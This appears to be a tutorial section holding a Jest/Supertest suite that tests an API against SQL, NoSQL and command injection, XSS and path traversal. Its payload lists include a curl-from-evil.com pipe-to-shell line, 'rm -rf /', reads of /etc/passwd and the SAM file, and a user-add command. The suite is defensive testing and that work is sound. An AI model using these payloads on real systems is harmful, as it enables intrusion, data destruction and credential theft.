Input Validation and Injection Testing

Input Validation and Injection Testing

Input validation testing identifies vulnerabilities where malicious input could compromise the API. This includes testing for SQL injection, NoSQL injection, command injection, and other input-based attacks. Comprehensive input testing examines all input vectors including headers, query parameters, path parameters, and request bodies.

// JavaScript security testing with Jest and Supertest
const request = require('supertest');
const app = require('../app');

describe('Input Validation Security Tests', () => {
    
    describe('SQL Injection Prevention', () => {
        const sqlInjectionPayloads = [
            "' OR '1'='1",
            "1'; DROP TABLE users--",
            "1' UNION SELECT * FROM users--",
            "admin'--",
            "1' OR '1'='1' /*",
            "' OR 1=1--",
            "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
            "'; EXEC xp_cmdshell('dir')--",
            "' UNION SELECT NULL, username, password FROM users--"
        ];
        
        test('should prevent SQL injection in search endpoint', async () => {
            for (const payload of sqlInjectionPayloads) {
                const response = await request(app)
                    .get('/api/users/search')
                    .query({ q: payload })
                    .set('Authorization', 'Bearer valid-token');
                
                // Should not return all users or error
                expect(response.status).toBe(200);
                expect(response.body.users).toHaveLength(0);
                
                // Verify no SQL errors in response
                expect(response.body.error).toBeUndefined();
                expect(JSON.stringify(response.body)).not.toMatch(/sql|syntax|error/i);
            }
        });
        
        test('should prevent SQL injection in path parameters', async () => {
            for (const payload of sqlInjectionPayloads) {
                const response = await request(app)
                    .get(`/api/users/${encodeURIComponent(payload)}`)
                    .set('Authorization', 'Bearer valid-token');
                
                // Should return 400 or 404, not 500
                expect([400, 404]).toContain(response.status);
            }
        });
    });
    
    describe('NoSQL Injection Prevention', () => {
        const noSqlPayloads = [
            { $ne: null },
            { $gt: '' },
            { $where: 'this.password.length > 0' },
            { $regex: '.*' },
            { password: { $ne: 1 } },
            { $or: [{ a: 1 }, { b: 2 }] },
            { username: { $nin: [] } }
        ];
        
        test('should prevent NoSQL injection in login', async () => {
            for (const payload of noSqlPayloads) {
                const response = await request(app)
                    .post('/api/auth/login')
                    .send({
                        username: payload,
                        password: 'password'
                    });
                
                expect(response.status).toBe(400);
                expect(response.body.token).toBeUndefined();
            }
        });
    });
    
    describe('Command Injection Prevention', () => {
        const commandInjectionPayloads = [
            '; ls -la',
            '| cat /etc/passwd',
            '`rm -rf /`',
            '$(whoami)',
            '; curl evil.com/shell.sh | sh',
            '\n/bin/sh',
            '& net user hacker hack3r /add &'
        ];
        
        test('should prevent command injection in file operations', async () => {
            for (const payload of commandInjectionPayloads) {
                const response = await request(app)
                    .post('/api/files/convert')
                    .set('Authorization', 'Bearer valid-token')
                    .send({
                        filename: payload,
                        format: 'pdf'
                    });
                
                expect(response.status).toBe(400);
                expect(response.body.error).toMatch(/invalid|validation/i);
            }
        });
    });
    
    describe('XSS Prevention', () => {
        const xssPayloads = [
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',
            'javascript:alert("XSS")',
            '<iframe src="javascript:alert(\'XSS\')">',
            '<body onload=alert("XSS")>',
            '"><script>alert(String.fromCharCode(88,83,83))</script>'
        ];
        
        test('should sanitize XSS payloads in user content', async () => {
            for (const payload of xssPayloads) {
                const response = await request(app)
                    .post('/api/posts')
                    .set('Authorization', 'Bearer valid-token')
                    .send({
                        title: payload,
                        content: payload
                    });
                
                expect(response.status).toBe(201);
                
                // Verify stored content is sanitized
                const post = response.body;
                expect(post.title).not.toContain('<script');
                expect(post.title).not.toContain('javascript:');
                expect(post.content).not.toContain('onerror=');
            }
        });
    });
    
    describe('Path Traversal Prevention', () => {
        const pathTraversalPayloads = [
            '../../../etc/passwd',
            '..\\..\\..\\windows\\system32\\config\\sam',
            '....//....//....//etc/passwd',
            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
            '..%252f..%252f..%252fetc%252fpasswd',
            '\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd'
        ];
        
        test('should prevent path traversal in file access', async () => {
            for (const payload of pathTraversalPayloads) {
                const response = await request(app)
                    .get(`/api/files/${encodeURIComponent(payload)}`)
                    .set('Authorization', 'Bearer valid-token');
                
                expect([400, 403, 404]).toContain(response.status);
                expect(response.text).not.toMatch(/root:|daemon:/);
            }
        });
    });
});